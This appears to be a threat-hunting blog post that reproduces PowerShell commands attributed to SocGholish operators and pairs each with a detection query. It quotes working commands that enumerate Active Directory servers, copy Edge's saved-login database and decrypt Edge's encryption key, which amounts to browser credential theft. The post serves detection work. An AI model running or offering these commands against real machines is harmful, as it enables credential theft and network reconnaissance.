115. Here's How Threat Actors Abuse PowerShell for Reconnaissance and Credentials Access
Hello everyone! It's time to add a few new items to your (and mine) PowerShell procedure collection! I spotted a few in a recent report on SocGholish activity by eSentire.
Let's start from reconnaissance. The adversary leveraged the following PowerShell command to enumerate Active Directory:
powershell -c "$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]\'\'); $searcher.Filter = \'(&(objectCategory=computer)(operatingSystem=*server*))\'; $searcher.PageSize = 1000; $searcher.PropertiesToLoad.Add(\'dnshostname\') > $null; $searcher.FindAll() | ForEach-Object { $_.Properties[\'dnshostname\'][0] }
We can hunt for similar activity, for example, using the following query:
event_type: "processcreatewin"
AND
proc_file_name: "powershell.exe"
AND
cmdline: "DirectorySearcher"
The threat actors also used PowerShell to collect browser-related login data:
"cmd.exe" /C powershell -c "$tmp=[System.IO.Path]::GetTempFileName();Get-Content -Raw -Encoding Byte \"$env:LOCALAPPDATA\\microsoft\\edge\\User Data\\Default\\Login Data\" | Set-Content -Encoding Byte $tmp; Write-Output $tmp" > "C:\Users\user\AppData\Local\Temp\radB1A30.tmp"
Of course, we can hunt for such activity as well, for example:
event_type: "processcreatewin"
AND
proc_file_name: "powershell.exe"
AND
cmdline: "Login Data"
To decrypt collected data, the threat actors also obtained the encryption key using PowerShell:
"cmd.exe" /C powershell -c "$b=((Get-Content \"$env:LOCALAPPDATA\Microsoft\Edge\User Data\Local State\").split(',') -replace 'app_bound_encrypted_key','' | Select-String 'encrypted_key') -replace '\"}','' -replace '\"encrypted_key\":\"','' -replace '\"os_crypt\":{',''; $c=[System.Convert]::FromBase64String($b); $c=$c[5..($c.Length-1)]; Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)" > "C:\Users\users\AppData\Local\Temp\rad7CFA1.tmp"
We can use the following query, for example:
event_type: "processcreatewin"
AND
proc_file_name: "powershell.exe"
AND
cmdline: "encrypted_key"
As you can see, PowerShell can be abused by adversaries in many-many different ways!
See you tomorrow!
Comments
Post a Comment